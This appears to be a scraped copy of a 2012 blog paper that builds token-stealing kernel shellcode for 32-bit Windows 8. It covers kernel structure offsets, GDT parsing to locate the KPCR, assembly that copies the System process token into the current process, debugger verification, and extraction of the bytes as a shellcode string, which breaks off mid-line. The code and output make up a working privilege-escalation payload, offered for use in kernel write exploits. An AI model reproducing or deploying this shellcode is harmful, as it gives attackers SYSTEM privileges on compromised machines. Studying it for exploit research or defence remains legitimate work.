12
Design and Implementation of Token Stealing Kernel Shellcode for Windows 8 by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com) on 15/11/2012 The kernel shellcode to perform token stealing is really simple in Windows XP. It is about to retrieve the KPCR base directly from 0xffdff000, getting current thread, then the current process. After that, walk through the link list of eprocess object to find out the process with pid as 4, which is the system process, then duplicate its token, and finally overwrite the token of current process. However, in Windows 8, the KPCR has been ASLRed. In other words, it is no longer at 0xffdff000. But, it is still possible to get the location of KPCR in Windows 8 by using offset comparison technique. Besides, GDT parsing is another interesting approach in doing the same job. The mechanism of both techniques are detailed in my previous paper in this blog, "How to Defeat Windows 8 ASLR in Getting the Address of KPCR". In this paper, we are going to develop a kernel shellcode to perform token stealing in Windows 8 by using GDT parsing technique. In order to ease the process of kernel shellcode development, we are going to use our proposed kernel shellcode design and testing platform. For those who interested to this platform can refer to my previous paper in this blog, "How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By Using Windbg". In addition, this paper is only about the kernel shellcode, without any specific exploit. So, it is up to you in adopting the kernel shellcode in your writeX kernel exploit. Besides, for your info, it is almost impossible to locate your kernel shellcode at virtual address 0 in Windows 8 environment. However, it is possible to be bypassed by locating the kernel shellcode in HvlpLogicalProcessorRegions with multiple of writeX operation. Again, the HvlpLogicalProcessorRegions is ASLRed, but it is simple to get rid with offset comparison technique from user mode. Please refer my previous 2 papers if you really want to know more about bypassing ASLR in Windows 8 and the internal of HvlpLogicalProcessorRegions. Now, let us start to development our kernel shellcode. kd> dt _kpcr nt!_KPCR +0x000 NtTib : _NT_TIB +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD +0x004 Used_StackBase : Ptr32 Void +0x008 Spare2 : Ptr32 Void +0x00c TssCopy : Ptr32 Void +0x010 ContextSwitches : Uint4B +0x014 SetMemberCopy : Uint4B +0x018 Used_Self : Ptr32 Void +0x01c SelfPcr : Ptr32 _KPCR +0x020 Prcb : Ptr32 _KPRCB +0x024 Irql : UChar +0x028 IRR : Uint4B +0x02c IrrActive : Uint4B +0x030 IDR : Uint4B +0x034 KdVersionBlock : Ptr32 Void +0x038 IDT : Ptr32 _KIDTENTRY +0x03c GDT : Ptr32 _KGDTENTRY +0x040 TSS : Ptr32 _KTSS +0x044 MajorVersion : Uint2B +0x046 MinorVersion : Uint2B +0x048 SetMember : Uint4B +0x04c StallScaleFactor : Uint4B +0x050 SpareUnused : UChar +0x051 Number : UChar +0x052 Spare0 : UChar +0x053 SecondLevelCacheAssociativity : UChar +0x054 VdmAlert : Uint4B +0x058 KernelReserved : [14] Uint4B +0x090 SecondLevelCacheSize : Uint4B

Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

Embed Size (px)

Citation preview

Page 1: Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

Design and Implementation of Token Stealing Kernel Shellcode for Windows 8 by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com) on 15/11/2012 The kernel shellcode to perform token stealing is really simple in Windows XP. It is about to retrieve the KPCR base directly from 0xffdff000, getting current thread, then the current process. After that, walk through the link list of eprocess object to find out the process with pid as 4, which is the system process, then duplicate its token, and finally overwrite the token of current process. However, in Windows 8, the KPCR has been ASLRed. In other words, it is no longer at 0xffdff000. But, it is still possible to get the location of KPCR in Windows 8 by using offset comparison technique. Besides, GDT parsing is another interesting approach in doing the same job. The mechanism of both techniques are detailed in my previous paper in this blog, "How to Defeat Windows 8 ASLR in Getting the Address of KPCR". In this paper, we are going to develop a kernel shellcode to perform token stealing in Windows 8 by using GDT parsing technique. In order to ease the process of kernel shellcode development, we are going to use our proposed kernel shellcode design and testing platform. For those who interested to this platform can refer to my previous paper in this blog, "How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By Using Windbg". In addition, this paper is only about the kernel shellcode, without any specific exploit. So, it is up to you in adopting the kernel shellcode in your writeX kernel exploit. Besides, for your info, it is almost impossible to locate your kernel shellcode at virtual address 0 in Windows 8 environment. However, it is possible to be bypassed by locating the kernel shellcode in HvlpLogicalProcessorRegions with multiple of writeX operation. Again, the HvlpLogicalProcessorRegions is ASLRed, but it is simple to get rid with offset comparison technique from user mode. Please refer my previous 2 papers if you really want to know more about bypassing ASLR in Windows 8 and the internal of HvlpLogicalProcessorRegions. Now, let us start to development our kernel shellcode. kd> dt _kpcr nt!_KPCR +0x000 NtTib : _NT_TIB +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD +0x004 Used_StackBase : Ptr32 Void +0x008 Spare2 : Ptr32 Void +0x00c TssCopy : Ptr32 Void +0x010 ContextSwitches : Uint4B +0x014 SetMemberCopy : Uint4B +0x018 Used_Self : Ptr32 Void +0x01c SelfPcr : Ptr32 _KPCR +0x020 Prcb : Ptr32 _KPRCB +0x024 Irql : UChar +0x028 IRR : Uint4B +0x02c IrrActive : Uint4B +0x030 IDR : Uint4B +0x034 KdVersionBlock : Ptr32 Void +0x038 IDT : Ptr32 _KIDTENTRY +0x03c GDT : Ptr32 _KGDTENTRY +0x040 TSS : Ptr32 _KTSS +0x044 MajorVersion : Uint2B +0x046 MinorVersion : Uint2B +0x048 SetMember : Uint4B +0x04c StallScaleFactor : Uint4B +0x050 SpareUnused : UChar +0x051 Number : UChar +0x052 Spare0 : UChar +0x053 SecondLevelCacheAssociativity : UChar +0x054 VdmAlert : Uint4B +0x058 KernelReserved : [14] Uint4B +0x090 SecondLevelCacheSize : Uint4B

Page 2: Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

+0x094 HalReserved : [16] Uint4B +0x0d4 InterruptMode : Uint4B +0x0d8 Spare1 : UChar +0x0dc KernelReserved2 : [17] Uint4B +0x120 PrcbData : _KPRCB Well, the current thread is in _KPRCB. kd> dt _kprcb nt!_KPRCB +0x000 MinorVersion : Uint2B +0x002 MajorVersion : Uint2B +0x004 CurrentThread : Ptr32 _KTHREAD +0x008 NextThread : Ptr32 _KTHREAD +0x00c IdleThread : Ptr32 _KTHREAD +0x010 LegacyNumber : UChar +0x011 NestingLevel : UChar +0x012 BuildType : Uint2B +0x014 CpuType : Char +0x015 CpuID : Char +0x016 CpuStep : Uint2B +0x016 CpuStepping : UChar +0x017 CpuModel : UChar +0x018 ProcessorState : _KPROCESSOR_STATE ... ... Good, the CurrentThread is at offset 0x124 from KPCR. Let's check _KTHREAD now. kd> dt _kthread nt!_KTHREAD +0x000 Header : _DISPATCHER_HEADER +0x010 SListFaultAddress : Ptr32 Void +0x018 QuantumTarget : Uint8B +0x020 InitialStack : Ptr32 Void +0x024 StackLimit : Ptr32 Void +0x028 StackBase : Ptr32 Void +0x02c ThreadLock : Uint4B +0x030 CycleTime : Uint8B +0x038 HighCycleTime : Uint4B +0x03c ServiceTable : Ptr32 Void +0x040 CurrentRunTime : Uint4B +0x044 ExpectedRunTime : Uint4B +0x048 KernelStack : Ptr32 Void +0x04c StateSaveArea : Ptr32 _XSAVE_FORMAT +0x050 SchedulingGroup : Ptr32 _KSCHEDULING_GROUP +0x054 WaitRegister : _KWAIT_STATUS_REGISTER +0x055 Running : UChar +0x056 Alerted : [2] UChar +0x058 KernelStackResident : Pos 0, 1 Bit +0x058 ReadyTransition : Pos 1, 1 Bit +0x058 ProcessReadyQueue : Pos 2, 1 Bit +0x058 WaitNext : Pos 3, 1 Bit +0x058 SystemAffinityActive : Pos 4, 1 Bit +0x058 Alertable : Pos 5, 1 Bit +0x058 CodePatchInProgress : Pos 6, 1 Bit +0x058 UserStackWalkActive : Pos 7, 1 Bit +0x058 ApcInterruptRequest : Pos 8, 1 Bit +0x058 QuantumEndMigrate : Pos 9, 1 Bit +0x058 UmsDirectedSwitchEnable : Pos 10, 1 Bit +0x058 TimerActive : Pos 11, 1 Bit +0x058 SystemThread : Pos 12, 1 Bit +0x058 ProcessDetachActive : Pos 13, 1 Bit

Page 3: Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

+0x058 CalloutActive : Pos 14, 1 Bit +0x058 ScbReadyQueue : Pos 15, 1 Bit +0x058 ApcQueueable : Pos 16, 1 Bit +0x058 ReservedStackInUse : Pos 17, 1 Bit +0x058 UmsPerformingSyscall : Pos 18, 1 Bit +0x058 Reserved : Pos 19, 13 Bits +0x058 MiscFlags : Int4B +0x05c AutoAlignment : Pos 0, 1 Bit +0x05c DisableBoost : Pos 1, 1 Bit +0x05c UserAffinitySet : Pos 2, 1 Bit +0x05c AlertedByThreadId : Pos 3, 1 Bit +0x05c QuantumDonation : Pos 4, 1 Bit +0x05c EnableStackSwap : Pos 5, 1 Bit +0x05c GuiThread : Pos 6, 1 Bit +0x05c DisableQuantum : Pos 7, 1 Bit +0x05c ChargeOnlyGroup : Pos 8, 1 Bit +0x05c DeferPreemption : Pos 9, 1 Bit +0x05c QueueDeferPreemption : Pos 10, 1 Bit +0x05c ForceDeferSchedule : Pos 11, 1 Bit +0x05c ExplicitIdealProcessor : Pos 12, 1 Bit +0x05c FreezeCount : Pos 13, 1 Bit +0x05c EtwStackTraceApcInserted : Pos 14, 8 Bits +0x05c ReservedFlags : Pos 22, 10 Bits +0x05c ThreadFlags : Int4B +0x060 Spare0 : Uint4B +0x064 SystemCallNumber : Uint4B +0x068 FirstArgument : Ptr32 Void +0x06c TrapFrame : Ptr32 _KTRAP_FRAME +0x070 ApcState : _KAPC_STATE +0x070 ApcStateFill : [23] UChar +0x087 Priority : Char +0x088 UserIdealProcessor : Uint4B +0x08c ContextSwitches : Uint4B ... ... Well, the ApcState is at offset 0x70 from CurrentThread. Let's check _KAPC_STATE kd> dt _kapc_state nt!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY +0x010 Process : Ptr32 _KPROCESS +0x014 KernelApcInProgress : UChar +0x015 KernelApcPending : UChar +0x016 UserApcPending : UChar Nice, then the current process is at offset 0x80 from CurrectThread. Let's check _KProcess. kd> dt _kprocess nt!_KPROCESS +0x000 Header : _DISPATCHER_HEADER +0x010 ProfileListHead : _LIST_ENTRY +0x018 DirectoryTableBase : Uint4B +0x01c LdtDescriptor : _KGDTENTRY +0x024 Int21Descriptor : _KIDTENTRY +0x02c ThreadListHead : _LIST_ENTRY +0x034 ProcessLock : Uint4B +0x038 Affinity : _KAFFINITY_EX +0x044 ReadyListHead : _LIST_ENTRY +0x04c SwapListEntry : _SINGLE_LIST_ENTRY +0x050 ActiveProcessors : _KAFFINITY_EX +0x05c AutoAlignment : Pos 0, 1 Bit

Page 4: Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

+0x05c DisableBoost : Pos 1, 1 Bit +0x05c DisableQuantum : Pos 2, 1 Bit +0x05c AffinitySet : Pos 3, 1 Bit +0x05c DeepFreeze : Pos 4, 1 Bit +0x05c TimerVirtualization : Pos 5, 1 Bit +0x05c ActiveGroupsMask : Pos 6, 1 Bit +0x05c ReservedFlags : Pos 7, 25 Bits +0x05c ProcessFlags : Int4B +0x060 BasePriority : Char +0x061 QuantumReset : Char +0x062 Visited : UChar +0x063 Flags : _KEXECUTE_OPTIONS +0x064 ThreadSeed : [1] Uint4B +0x068 IdealNode : [1] Uint2B +0x06a IdealGlobalNode : Uint2B +0x06c Spare1 : Uint2B +0x06e IopmOffset : Uint2B +0x070 SchedulingGroup : Ptr32 _KSCHEDULING_GROUP +0x074 StackCount : _KSTACK_COUNT +0x078 ProcessListEntry : _LIST_ENTRY +0x080 CycleTime : Uint8B +0x088 ContextSwitches : Uint8B +0x090 FreezeCount : Uint4B +0x094 KernelTime : Uint4B +0x098 UserTime : Uint4B +0x09c VdmTrapcHandler : Ptr32 Void We should check _eprocess because _kprocess is the first structure of _eprocess. kd> dt _eprocess nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x0a0 ProcessLock : _EX_PUSH_LOCK +0x0a8 CreateTime : _LARGE_INTEGER +0x0b0 RundownProtect : _EX_RUNDOWN_REF +0x0b4 UniqueProcessId : Ptr32 Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY +0x0c0 Flags2 : Uint4B +0x0c0 JobNotReallyActive : Pos 0, 1 Bit +0x0c0 AccountingFolded : Pos 1, 1 Bit +0x0c0 NewProcessReported : Pos 2, 1 Bit +0x0c0 ExitProcessReported : Pos 3, 1 Bit +0x0c0 ReportCommitChanges : Pos 4, 1 Bit +0x0c0 LastReportMemory : Pos 5, 1 Bit +0x0c0 NoWakeCharge : Pos 6, 1 Bit +0x0c0 HandleTableRundown : Pos 7, 1 Bit +0x0c0 NeedsHandleRundown : Pos 8, 1 Bit +0x0c0 RefTraceEnabled : Pos 9, 1 Bit +0x0c0 NumaAware : Pos 10, 1 Bit +0x0c0 EmptyJobEvaluated : Pos 11, 1 Bit +0x0c0 DefaultPagePriority : Pos 12, 3 Bits +0x0c0 PrimaryTokenFrozen : Pos 15, 1 Bit +0x0c0 ProcessVerifierTarget : Pos 16, 1 Bit +0x0c0 StackRandomizationDisabled : Pos 17, 1 Bit +0x0c0 AffinityPermanent : Pos 18, 1 Bit +0x0c0 AffinityUpdateEnable : Pos 19, 1 Bit +0x0c0 PropagateNode : Pos 20, 1 Bit +0x0c0 ExplicitAffinity : Pos 21, 1 Bit +0x0c0 ProcessExecutionState : Pos 22, 2 Bits +0x0c0 DisallowStrippedImages : Pos 24, 1 Bit +0x0c0 HighEntropyASLREnabled : Pos 25, 1 Bit +0x0c0 ExtensionPointDisable : Pos 26, 1 Bit +0x0c0 ForceRelocateImages : Pos 27, 1 Bit

Page 5: Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

+0x0c0 ProcessStateChangeRequest : Pos 28, 2 Bits +0x0c0 ProcessStateChangeInProgress : Pos 30, 1 Bit +0x0c0 DisallowWin32kSystemCalls : Pos 31, 1 Bit +0x0c4 Flags : Uint4B +0x0c4 CreateReported : Pos 0, 1 Bit +0x0c4 NoDebugInherit : Pos 1, 1 Bit +0x0c4 ProcessExiting : Pos 2, 1 Bit +0x0c4 ProcessDelete : Pos 3, 1 Bit +0x0c4 Wow64SplitPages : Pos 4, 1 Bit +0x0c4 VmDeleted : Pos 5, 1 Bit +0x0c4 OutswapEnabled : Pos 6, 1 Bit +0x0c4 Outswapped : Pos 7, 1 Bit +0x0c4 ForkFailed : Pos 8, 1 Bit +0x0c4 Wow64VaSpace4Gb : Pos 9, 1 Bit +0x0c4 AddressSpaceInitialized : Pos 10, 2 Bits +0x0c4 SetTimerResolution : Pos 12, 1 Bit +0x0c4 BreakOnTermination : Pos 13, 1 Bit +0x0c4 DeprioritizeViews : Pos 14, 1 Bit +0x0c4 WriteWatch : Pos 15, 1 Bit +0x0c4 ProcessInSession : Pos 16, 1 Bit +0x0c4 OverrideAddressSpace : Pos 17, 1 Bit +0x0c4 HasAddressSpace : Pos 18, 1 Bit +0x0c4 LaunchPrefetched : Pos 19, 1 Bit +0x0c4 Background : Pos 20, 1 Bit +0x0c4 VmTopDown : Pos 21, 1 Bit +0x0c4 ImageNotifyDone : Pos 22, 1 Bit +0x0c4 PdeUpdateNeeded : Pos 23, 1 Bit +0x0c4 VdmAllowed : Pos 24, 1 Bit +0x0c4 CrossSessionCreate : Pos 25, 1 Bit +0x0c4 ProcessInserted : Pos 26, 1 Bit +0x0c4 DefaultIoPriority : Pos 27, 3 Bits +0x0c4 ProcessSelfDelete : Pos 30, 1 Bit +0x0c4 SetTimerResolutionLink : Pos 31, 1 Bit +0x0c8 ProcessQuotaUsage : [2] Uint4B +0x0d0 ProcessQuotaPeak : [2] Uint4B +0x0d8 PeakVirtualSize : Uint4B +0x0dc VirtualSize : Uint4B +0x0e0 SessionProcessLinks : _LIST_ENTRY +0x0e8 ExceptionPortData : Ptr32 Void +0x0e8 ExceptionPortValue : Uint4B +0x0e8 ExceptionPortState : Pos 0, 3 Bits +0x0ec Token : _EX_FAST_REF +0x0f0 WorkingSetPage : Uint4B +0x0f4 AddressCreationLock : _EX_PUSH_LOCK ... ... Fine, the ActiveProcessLinks is at offset 0xb8 from current process object. Besides, it is important to note that UniqueProcessId and Token is at offset 0xb4 and 0xec, respectively. Let's start to create our shellcode now. mov eax,0xffdff124 //Just a dummy marker for KPCR, will correct later.. mov eax,[eax] //The offset 0x124 is CurrentThread mov eax,[eax+0x80] //The offset 0x80 is current Process mov ebx,eax //Store current Process in eax searchpid: mov ebx,[ebx+0xb8] //The offset 0xb8 is ActiveProcessLinks sub ebx,0xb8 mov ecx,[ebx+0xb4] //The offset 0xb4 is UniqueProcessId cmp ecx,4 //The pid of System process is 4 jnz searchpid mov ecx,[ebx+0xec] //The offset 0xec is Token mov [eax+0xec],ecx //Overwrite the Token in current Process

Page 6: Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

nop nop ret Well, regarding how to parse GDT in getting KPCR, refer my previous paper. sgdt fword ptr ds:[0FFDF0000h] mov eax,dword ptr ds:[FFDF0002h] mov dh,byte ptr [eax+37h] mov dl,byte ptr [eax+34h] mov bx,dx shl ebx,10h mov bh,byte ptr [eax+33h] mov bl,byte ptr [eax+32h] The KPCR base will be in ebx now. Let's put everything together. sgdt fword ptr ds:[0FFDF0000h] mov eax,dword ptr ds:[FFDF0002h] mov dh,byte ptr [eax+37h] mov dl,byte ptr [eax+34h] mov bx,dx shl ebx,10h mov bh,byte ptr [eax+33h] mov bl,byte ptr [eax+32h] mov eax,ebx add eax,0x124 mov eax,[eax] mov eax,[eax+0x80] mov ebx,eax searchpid: mov ebx,[ebx+0xb8] sub ebx,0xb8 mov ecx,[ebx+0xb4] cmp ecx,4 jnz searchpid mov ecx,[ebx+0xec] mov [eax+0xec],ecx nop nop ret Let's verify in our testing platform. kd> a nt!hvlplogicalprocessorregions 811fb480 nop nop 811fb481 nop nop 811fb482 pushad pushad 811fb483 nop nop 811fb484 nop nop 811fb485 sgdt [ffdf0000] sgdt [ffdf0000] 811fb48c mov eax,[ffdf0002] mov eax,[ffdf0002] 811fb491 mov dh,[eax+37] mov dh,[eax+37] 811fb494 mov dl,[eax+34] mov dl,[eax+34]

Page 7: Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

811fb497 mov bx,dx mov bx,dx 811fb49a shl ebx,10 shl ebx,10 811fb49d mov bh,[eax+33] mov bh,[eax+33] 811fb4a0 mov bl,[eax+32] mov bl,[eax+32] 811fb4a3 mov eax,ebx mov eax,ebx 811fb4a5 add eax,0x124 add eax,0x124 811fb4aa mov eax,[eax] mov eax,[eax] 811fb4ac mov eax,[eax+0x80] mov eax,[eax+0x80] 811fb4b2 mov ebx,eax mov ebx,eax 811fb4b4 mov ebx,[ebx+0xb8] mov ebx,[ebx+0xb8] 811fb4ba sub ebx,0xb8 sub ebx,0xb8 811fb4c0 mov ecx,[ebx+0xb4] mov ecx,[ebx+0xb4] 811fb4c6 cmp ecx,4 cmp ecx,4 811fb4c9 jnz 811fb4b4 jnz 811fb4b4 811fb4cb mov ecx,[ebx+0xec] mov ecx,[ebx+0xec] 811fb4d1 mov [eax+0xec],ecx mov [eax+0xec],ecx 811fb4d7 nop nop 811fb4d8 nop nop 811fb4d9 ret ret 811fb4da nop nop 811fb4db nop nop 811fb4dc popad popad 811fb4dd nop nop 811fb4de nop nop 811fb4df kd> uf nt!hvlplogicalprocessorregions nt!HvlpLogicalProcessorRegions: 811fb480 90 nop 811fb481 90 nop 811fb482 60 pushad 811fb483 90 nop 811fb484 90 nop 811fb485 0f01050000dfff sgdt fword ptr ds:[0FFDF0000h] 811fb48c a10200dfff mov eax,dword ptr ds:[FFDF0002h] 811fb491 8a7037 mov dh,byte ptr [eax+37h] 811fb494 8a5034 mov dl,byte ptr [eax+34h] 811fb497 668bda mov bx,dx 811fb49a c1e310 shl ebx,10h

Page 8: Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

811fb49d 8a7833 mov bh,byte ptr [eax+33h] 811fb4a0 8a5832 mov bl,byte ptr [eax+32h] 811fb4a3 8bc3 mov eax,ebx 811fb4a5 0524010000 add eax,124h 811fb4aa 8b00 mov eax,dword ptr [eax] 811fb4ac 8b8080000000 mov eax,dword ptr [eax+80h] 811fb4b2 8bd8 mov ebx,eax nt!HvlpLogicalProcessorRegions+0x34: 811fb4b4 8b9bb8000000 mov ebx,dword ptr [ebx+0B8h] 811fb4ba 81ebb8000000 sub ebx,0B8h 811fb4c0 8b8bb4000000 mov ecx,dword ptr [ebx+0B4h] 811fb4c6 83f904 cmp ecx,4 811fb4c9 75e9 jne nt!HvlpLogicalProcessorRegions+0x34 (811fb4b4) nt!HvlpLogicalProcessorRegions+0x4b: 811fb4cb 8b8bec000000 mov ecx,dword ptr [ebx+0ECh] 811fb4d1 8988ec000000 mov dword ptr [eax+0ECh],ecx Let us verify the kernel shellcode by stepping over the HvlpLogicalProcessorRegions. kd> r eip = nt!hvlplogicalprocessorregions kd> ln eip (811fb480) nt!HvlpLogicalProcessorRegions | (81206480) nt!HvlpNodes Exact matches: nt!HvlpLogicalProcessorRegions = <no type information> kd> p nt!HvlpLogicalProcessorRegions+0x1: 811fb481 90 nop kd> p nt!HvlpLogicalProcessorRegions+0x2: 811fb482 60 pushad kd> p nt!HvlpLogicalProcessorRegions+0x3: 811fb483 90 nop kd> p nt!HvlpLogicalProcessorRegions+0x4: 811fb484 90 nop kd> p nt!HvlpLogicalProcessorRegions+0x5: 811fb485 0f01050000dfff sgdt fword ptr ds:[0FFDF0000h] kd> p nt!HvlpLogicalProcessorRegions+0xc: 811fb48c a10200dfff mov eax,dword ptr ds:[FFDF0002h] kd> p nt!HvlpLogicalProcessorRegions+0x11: 811fb491 8a7037 mov dh,byte ptr [eax+37h] kd> p nt!HvlpLogicalProcessorRegions+0x14: 811fb494 8a5034 mov dl,byte ptr [eax+34h] kd> p nt!HvlpLogicalProcessorRegions+0x17: 811fb497 668bda mov bx,dx kd> p nt!HvlpLogicalProcessorRegions+0x1a: 811fb49a c1e310 shl ebx,10h kd> p nt!HvlpLogicalProcessorRegions+0x1d: 811fb49d 8a7833 mov bh,byte ptr [eax+33h] kd> p nt!HvlpLogicalProcessorRegions+0x20: 811fb4a0 8a5832 mov bl,byte ptr [eax+32h] kd> p

Page 9: Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

nt!HvlpLogicalProcessorRegions+0x23: 811fb4a3 8bc3 mov eax,ebx kd> p nt!HvlpLogicalProcessorRegions+0x25: 811fb4a5 0524010000 add eax,124h kd> r eax eax=81209000 kd> dg 30 P Si Gr Pr Lo Sel Base Limit Type l ze an es ng Flags ---- -------- -------- ---------- - -- -- -- -- -------- 0030 81209000 00004280 Data RW Ac 0 Bg By P Nl 00000493 kd> p nt!HvlpLogicalProcessorRegions+0x2a: 811fb4aa 8b00 mov eax,dword ptr [eax] kd> r eax eax=81209124 Nice, eax is pointing to the CurrentThread right now. Let us continue to step over our shellcode. kd> p nt!HvlpLogicalProcessorRegions+0x2c: 811fb4ac 8b8080000000 mov eax,dword ptr [eax+80h] kd> r eax eax=812180c0 kd> p nt!HvlpLogicalProcessorRegions+0x32: 811fb4b2 8bd8 mov ebx,eax kd> r eax eax=83964cc0 Let's check what is our current process now... kd> !process 83964cc0 0 PROCESS 83964cc0 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00185000 ObjectTable: 82403000 HandleCount: <Data Not Accessible> Image: System Yes, we are already in System because we force kernel break from Windbg. Let's step over the shellcode again. kd> p nt!HvlpLogicalProcessorRegions+0x34: 811fb4b4 8b9bb8000000 mov ebx,dword ptr [ebx+0B8h] kd> p nt!HvlpLogicalProcessorRegions+0x3a: 811fb4ba 81ebb8000000 sub ebx,0B8h kd> p nt!HvlpLogicalProcessorRegions+0x40: 811fb4c0 8b8bb4000000 mov ecx,dword ptr [ebx+0B4h] kd> r ebx ebx=84a85cc0 kd> !process 84a85cc0 0 PROCESS 84a85cc0 SessionId: none Cid: 00f4 Peb: 7f05a000 ParentCid: 0004 DirBase: 3e48e020 ObjectTable: 89c43a00 HandleCount: <Data Not Accessible> Image: smss.exe The next process is smss.exe. Well we are starting to walk through the eprocess link list. Since our current process is System, we need to turn a full round to get back to System again. Let's see. kd> u

Page 10: Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

nt!HvlpLogicalProcessorRegions+0x40: 811fb4c0 8b8bb4000000 mov ecx,dword ptr [ebx+0B4h] 811fb4c6 83f904 cmp ecx,4 811fb4c9 75e9 jne nt!HvlpLogicalProcessorRegions+0x34 (811fb4b4) 811fb4cb 8b8bec000000 mov ecx,dword ptr [ebx+0ECh] 811fb4d1 8988ec000000 mov dword ptr [eax+0ECh],ecx 811fb4d7 90 nop 811fb4d8 90 nop 811fb4d9 c3 ret kd> bp 811fb4cb kd> bl 0 e 811fb4cb 0001 (0001) nt!HvlpLogicalProcessorRegions+0x4b kd> g Breakpoint 0 hit nt!HvlpLogicalProcessorRegions+0x4b: 811fb4cb 8b8bec000000 mov ecx,dword ptr [ebx+0ECh] kd> r ebx ebx=83964cc0 kd> !process 83964cc0 0 PROCESS 83964cc0 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00185000 ObjectTable: 82403000 HandleCount: <Data Not Accessible> Image: System Yes, we are backed to the System process again. Let's try to change its own token. kd> p nt!HvlpLogicalProcessorRegions+0x51: 811fb4d1 8988ec000000 mov dword ptr [eax+0ECh],ecx kd> r ecx ecx=82401563 kd> dd eax+ec l1 83964dac 82401563 kd> p nt!HvlpLogicalProcessorRegions+0x57: 811fb4d7 90 nop kd> dd eax+ec l1 83964dac 82401563 Nothing special here, just doing something dummy... Let's revert everything to original now. In our case here, the ret instruction should be bypass. kd> u nt!HvlpLogicalProcessorRegions+0x57: 811fb4d7 90 nop 811fb4d8 90 nop 811fb4d9 c3 ret 811fb4da 90 nop 811fb4db 90 nop 811fb4dc 61 popad 811fb4dd 90 nop 811fb4de 90 nop kd> r eip eip=811fb4d7 kd> r eip = 811fb4da kd> u eip nt!HvlpLogicalProcessorRegions+0x5a: 811fb4da 90 nop 811fb4db 90 nop 811fb4dc 61 popad 811fb4dd 90 nop 811fb4de 90 nop 811fb4df 0000 add byte ptr [eax],al

Page 11: Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

811fb4e1 0000 add byte ptr [eax],al 811fb4e3 0000 add byte ptr [eax],al Well, we are on the right track now. Let's revert everything to initial state. kd> p nt!HvlpLogicalProcessorRegions+0x5b: 811fb4db 90 nop kd> p nt!HvlpLogicalProcessorRegions+0x5c: 811fb4dc 61 popad kd> p nt!HvlpLogicalProcessorRegions+0x5d: 811fb4dd 90 nop kd> r eip = 811003a4 kd> r eip eip=811003a4 The system should run as usual right now. Let's verify. kd> g Break instruction exception - code 80000003 (first chance) ******************************************************************************* * * * You are seeing this message because you pressed either * * CTRL+C (if you run kd.exe) or, * * CTRL+BREAK (if you run WinDBG), * * on your debugger machine's keyboard. * * * * THIS IS NOT A BUG OR A SYSTEM CRASH * * * * If you did not intend to break into the debugger, press the "g" key, then * * press the "Enter" key now. This message might immediately reappear. If it * * does, press "g" and "Enter" again. * * * ******************************************************************************* nt!RtlpBreakWithStatusInstruction: 811003a4 cc int 3 kd> g Excellent, the Windows 8 system is running well again. Let's extract our shellcode now. kd> db nt!hvlplogicalprocessorregions 811fb480 90 90 60 90 90 0f 01 05-00 00 df ff a1 02 00 df ..`............. 811fb490 ff 8a 70 37 8a 50 34 66-8b da c1 e3 10 8a 78 33 ..p7.P4f......x3 811fb4a0 8a 58 32 8b c3 05 24 01-00 00 8b 00 8b 80 80 00 .X2...$......... 811fb4b0 00 00 8b d8 8b 9b b8 00-00 00 81 eb b8 00 00 00 ................ 811fb4c0 8b 8b b4 00 00 00 83 f9-04 75 e9 8b 8b ec 00 00 .........u...... 811fb4d0 00 89 88 ec 00 00 00 90-90 c3 90 90 61 90 90 00 ............a... 811fb4e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 811fb4f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ kd> uf nt!hvlplogicalprocessorregions nt!HvlpLogicalProcessorRegions: 811fb480 90 nop 811fb481 90 nop 811fb482 60 pushad 811fb483 90 nop 811fb484 90 nop 811fb485 0f01050000dfff sgdt fword ptr ds:[0FFDF0000h] 811fb48c a10200dfff mov eax,dword ptr ds:[FFDF0002h] 811fb491 8a7037 mov dh,byte ptr [eax+37h]

Page 12: Design and Implementation of Token Stealing Kernel Shellcode for Windows 8

811fb494 8a5034 mov dl,byte ptr [eax+34h] 811fb497 668bda mov bx,dx 811fb49a c1e310 shl ebx,10h 811fb49d 8a7833 mov bh,byte ptr [eax+33h] 811fb4a0 8a5832 mov bl,byte ptr [eax+32h] 811fb4a3 8bc3 mov eax,ebx 811fb4a5 0524010000 add eax,124h 811fb4aa 8b00 mov eax,dword ptr [eax] 811fb4ac 8b8080000000 mov eax,dword ptr [eax+80h] 811fb4b2 8bd8 mov ebx,eax nt!HvlpLogicalProcessorRegions+0x34: 811fb4b4 8b9bb8000000 mov ebx,dword ptr [ebx+0B8h] 811fb4ba 81ebb8000000 sub ebx,0B8h 811fb4c0 8b8bb4000000 mov ecx,dword ptr [ebx+0B4h] 811fb4c6 83f904 cmp ecx,4 811fb4c9 75e9 jne nt!HvlpLogicalProcessorRegions+0x34 (811fb4b4) nt!HvlpLogicalProcessorRegions+0x4b: 811fb4cb 8b8bec000000 mov ecx,dword ptr [ebx+0ECh] 811fb4d1 8988ec000000 mov dword ptr [eax+0ECh],ecx 811fb4d7 90 nop 811fb4d8 90 nop 811fb4d9 c3 ret So, the proper kernel shellcode to perform token stealing in Windows 8 is 85 bytes. Token_Stealing_Shellcode_For_Windows_8=( "\x0f\x01\x05\x00\x00\xdf\xff\xa1\x02\x00\xdf\xff\x8a\x70\x37\x8a" 